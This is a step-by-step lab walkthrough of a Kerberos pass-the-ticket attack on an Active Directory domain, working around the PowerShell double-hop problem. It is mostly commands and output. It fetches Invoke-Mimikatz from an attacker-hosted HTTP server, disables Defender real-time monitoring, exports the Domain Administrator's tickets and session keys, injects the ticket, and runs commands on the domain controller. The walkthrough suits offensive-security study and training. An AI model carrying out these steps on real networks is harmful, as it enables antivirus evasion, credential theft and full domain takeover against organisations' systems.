PTT: Double Hop Bypass

OVERVIEW

The double-hop problem occurs when, for example, a local PowerShell instance connected via PSRemoting to a remote server which is connected to the target server and an attempt to execute commands on the target server was made and was rejected. The end goal of this proof-of-concept is to execute a pass-the-ticket attack on an active directory while being remotely connected to a domain computer with administrator privileges.

ENVIRONMENT SET-UP:

MACHINES:

HOSTNAME

MACHINE IP

REMARKS

KALI-WINDOWS

192.168.150.1

Windows 10

An Attacker Machine

MSEDGEWIN10

192.168.150.128

Windows 10 Enterprise Evaluation

A Remote Machine; Domain Computer

WIN-BO2CT95INDP

192.168.150.133

Windows Server 2016

A Domain Controller

USERS:

USER

MACHINE

PRIVILEGES

kali-windows

KALI-WINDOWS

Local Administrator

BOSSMANBEN\\GConcy

MSEDGEWIN10

Local Administrator; Domain User

BOSSMANBEN\\Administrator

MSEDGEWIN10

Domain Administrator

ASSUMPTIONS:

i. WinRM is enabled on both local and remote machines

Both machines IPs are listed in each other's trustedhosts
-skipnetworkprofilecheck is enabled (to allow connection over a public network)
Proper firewall exceptions are in place in the remote machine

ii. The remote machine is part of a Domain Controller (BOSSMANBEN)

A domain user is a local administrator to the remote machine
Credentials to the said domain user are known

iii. The Domain Administrator has logged in to the remote machine (MSEDGEWIN10)

The logon action generates a ticket for the Domain Administrator
The TGT expires over a definite period of time (6 hours in this case)
Pass-the-Ticket could be done as long as the TGT hasn't expired yet

iv. The local machine (KALI-WINDOWS) can communicate with the remote machine (MSEDGEWIN10)

EXPLOITATION:

i. Establish a session using PSRemoting

Enter a session for the domain user, BOSSMANBEN\GConcy then, enter the credentials for BOSSMANBEN\GConcy in the password prompt
```
Enter-PSSession -ComputerName 192.168.150.128 -Credential BOSSMANBEN\GConcy
```

Check for cached tickets using klist. The current established session doesn't seem to be a recognized session:

Current LogonId is 0:0xc7fbc
Error calling API LsaCallAuthenticationPackage (ShowTickets substatus): 1312

klist failed with 0xc000005f/-1073741729: A specified logon session does not exist. It may already have been terminated.

Register-PSSessionConfiguration -Name GodConcy -RunAsCredential BOSSMANBEN\GConcy

WARNING: When RunAs is enabled in a Windows PowerShell session configuration, the Windows security model cannot enforce a security 
boundary between different user sessions that are created by using this endpoint. Verify that the Windows PowerShell runspace 
configuration is restricted to only the necessary set of cmdlets and capabilities.
WARNING: Register-PSSessionConfiguration may need to restart the WinRM service if a configuration using this name has recently been 
unregistered, certain system data structures may still be cached. In that case, a restart of WinRM may be required.
All WinRM sessions connected to Windows PowerShell session configurations, such as Microsoft.PowerShell and session configurations that 
are created with the Register-PSSessionConfiguration cmdlet, are disconnected.


WSManConfig: Microsoft.WSMan.Management\WSMan::localhost\Plugin

Type            Keys                                Name
----            ----                                ----
Container       {Name=GodConcy}                     GodConcy
...omitted...

Enter the credentials for BOSSMANBEN\GConcy in the password prompt

PS /> Get-PSSessionConfiguration

  Name          : GodConcy
  PSVersion     : 5.1
  StartupScript :
  RunAsUser     : BOSSMANBEN\GConcy
  Permission    : NT AUTHORITY\INTERACTIVE AccessAllowed, BUILTIN\Administrators AccessAllowed, BUILTIN\Remote Management Users AccessAllowed

  ...omitted...

Run klist again:
```
Current LogonId is 0:0xc7fbc

Cached Tickets: (0)
```
- klist can now check for cached tickets
- Passing exported tickets using Invoke-Mimikatz would throw the same error from the previous klist if a proper session is not configured.
- Even if an Administrator ticket was passed successfully, passing commands in or accessing the Domain Controller would be denied
  - The entire session should be restarted with the proper configuration.
Type Restart-Service WinRM then enter a new PSSession with the registered configuration:
```
Enter-PSSession -ComputerName 192.168.150.128 -Credential BOSSMANBEN\GConcy -ConfigurationName GodConcy
```
- The shell will terminate after restarting the service.
- Enter the credentials for BOSSMANBEN\GConcy in the password prompt
Run klist again:
```
Current LogonId is 0:0xd0ebf

Cached Tickets: (1)

#0>     Client: GConcy @ BOSSMANBEN.LOCAL
        Server: krbtgt/BOSSMANBEN.LOCAL @ BOSSMANBEN.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 7/12/2019 15:42:59 (local)
        End Time:   7/13/2019 1:42:59 (local)
        Renew Time: 7/19/2019 15:42:59 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: WIN-BO2CT95INDP
```
- The session now actually runs as the user, BOSSMANBEN\GConcy
- This session now eliminates the double hop problem:
  - Instead of the local machine sending a request to the remote machine before reaching the server, the local machine is now acting as or impersonating the remote machine running as the user BOSSMANBEN\GConcy.
  - Since the local machine (KALI-WINDOWS) now acts like the remote machine (MSEDGEWIN10), it would seem like the requests sent from the local machine are now going directly to the Domain Controller (BOSSMANBEN).
  - The two previous statement would be useful since the goal of this exploit is to reach the Domain Controller (BOSSMANBEN) using the local machine (KALI-WINDOWS) "without jumping" from the remote machine (MSEDGEWIN10)

ii. Export krbtgt tickets using Invoke-Mimikatz:

Download the exploit to the local machine (KALI-WINDOWS):

git clone https://github.com/samratashok/nishang

cd .\nishang\Gather

Upload Invoke-Mimikatz.powershell to the remote machine (MSEDGEWIN10):

LOCAL MACHINE (KALI-WINDOWS):

python -m SimpleHTTPServer

PSSession (MSEDGEWIN10):

cd $home\Desktop

Invoke-WebRequest -uri http://192.168.150.1:8000/Invoke-Mimikatz.powershell -OutFile Invoke-Mimikatz.powershell

Use dot source to import Invoke-Mimikatz:
PSSession (MSEDGEWIN10):
```
Set-MpPreference -DisableRealtimeMonitoring $true

. .\Invoke-Mimikatz.powershell
```
- -DisableRealtimeMonitoring $true prevents the remote machine from detecting Invoke-Mimikatz.powershell as a malicious script

Export krbtgt tickets using Invoke-Mimikatz:

PSSession (MSEDGEWIN10):

mkdir tickets

cd tickets

Invoke-Mimikatz -command '"sekurlsa::tickets /export"'

A krbtgt ticket for the Domain (BOSSMANBEN.LOCAL) Administrator was exported:

  .#####.   mimikatz 2.2.0 (x64) #18362 May 30 2019 09:58:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # sekurlsa::tickets /export

...omitted...

Authentication Id : 0 ; 303469 (00000000:0004a16d)
Session           : Interactive from 1
User Name         : Administrator
Domain            : BOSSMANBEN
Logon Server      : WIN-BO2CT95INDP
Logon Time        : 7/12/2019 4:37:50 PM
SID               : S-1-5-21-2817836110-3135048609-2922248965-500

        * Username : Administrator
        * Domain   : BOSSMANBEN.LOCAL
        * Password : (null)

       Group 0 - Ticket Granting Service
        [00000000]
          Start/End/MaxRenew: 7/12/2019 4:38:17 PM ; 7/13/2019 2:38:17 AM ; 7/19/2019 4:38:17 PM
          Service Name (02) : LDAP ; WIN-BO2CT95INDP.bossmanben.local ; bossmanben.local ; @ BOSSMANBEN.LOCAL
          Target Name  (02) : LDAP ; WIN-BO2CT95INDP.bossmanben.local ; bossmanben.local ; @ BOSSMANBEN.LOCAL
          Client Name  (01) : Administrator ; @ BOSSMANBEN.LOCAL ( BOSSMANBEN.LOCAL )
          Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
          Session Key       : 0x00000012 - aes256_hmac
            4050506d21e637246324747b2d8a26a69a195020adc6bb715f19441a80075302
          Ticket            : 0x00000012 - aes256_hmac       ; kvno = 3        [...]
          * Saved to file [0;4a16d]-0-0-40a50000-Administrator@LDAP-WIN-BO2CT95INDP.bossmanben.local.kirbi !

       Group 1 - Client Ticket ?

       Group 2 - Ticket Granting Ticket
        [00000000]
          Start/End/MaxRenew: 7/12/2019 4:38:17 PM ; 7/13/2019 2:38:17 AM ; 7/19/2019 4:38:17 PM
          Service Name (02) : krbtgt ; BOSSMANBEN.LOCAL ; @ BOSSMANBEN.LOCAL
          Target Name  (02) : krbtgt ; BOSSMANBEN ; @ BOSSMANBEN.LOCAL
          Client Name  (01) : Administrator ; @ BOSSMANBEN.LOCAL ( BOSSMANBEN )
          Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
          Session Key       : 0x00000012 - aes256_hmac
            0d397fbecc40d64ac4c5852da47f10f9f757b2db4beaef1e8cdd2bb911ab8605
          Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
          * Saved to file [0;4a16d][email protected] !

...omitted...

iii. Pass the ticket using Invoke-Mimikatz

View the exported tickets:

dir $home\Desktop\tickets

...omitted...
-a----       12/07/2019   4:53 PM           1611 [0;4a16d][email protected]
...omitted...

Pass the krbtgt ticket:

Invoke-Mimikatz -command '"kerberos::ptt [0;4a16d][email protected]"'

  .#####.   mimikatz 2.2.0 (x64) #18362 May 30 2019 09:58:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # kerberos::ptt [0;4a16d][email protected]

* File: '[0;4a16d][email protected]': OK

View the cached tickets using klist:

Current LogonId is 0:0xd0ebf

Cached Tickets: (1)

#0>     Client: Administrator @ BOSSMANBEN.LOCAL
        Server: krbtgt/BOSSMANBEN.LOCAL @ BOSSMANBEN.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 7/12/2019 16:38:17 (local)
        End Time:   7/13/2019 2:38:17 (local)
        Renew Time: 7/19/2019 16:38:17 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:

The current ticket for the session is now Administrator @ BOSSMANBEN.LOCAL which is a Domain Administrator
The current PSSession should now be able to impersonate the Domain Administrator

Check if the Domain Controller (BOSSMANBEN) now accessible then get the Primary Domain Controller for BOSSMANBEN:

nltest /DCNAME:BOSSMANBEN

PDC for Domain BOSSMANBEN is \\WIN-BO2CT95INDP
The command completed successfully

List contents of the file share, C$:

dir \\WIN-BO2CT95INDP\C$

Directory: \\WIN-BO2CT95INDP\C$

 Mode                LastWriteTime         Length Name
 ----                -------------         ------ ----
 d-----       16/07/2016   6:23 AM                PerfLogs
 d-r---       09/07/2019   3:01 PM                Program Files
 d-----       16/07/2016   6:23 AM                Program Files (x86)
 d-r---       09/07/2019   3:01 PM                Users
 d-----       09/07/2019   3:10 PM                Windows
 -a----       11/07/2019  12:53 PM              5 gg

iv. Pass commands as the Domain Administrator:

Invoke-Command -ComputerName WIN-BO2CT95INDP -ScriptBlock { whoami }

bossmanben\administrator

The file shares in the Domain Controller (BOSSMANBEN) are now accessible as long as the Domain Controller is being accessed using kerberos authentication.
Commands could also now be executed in the context of the Domain Controller (BOSSMANBEN) using the Invoke-Command module in PowerShell.

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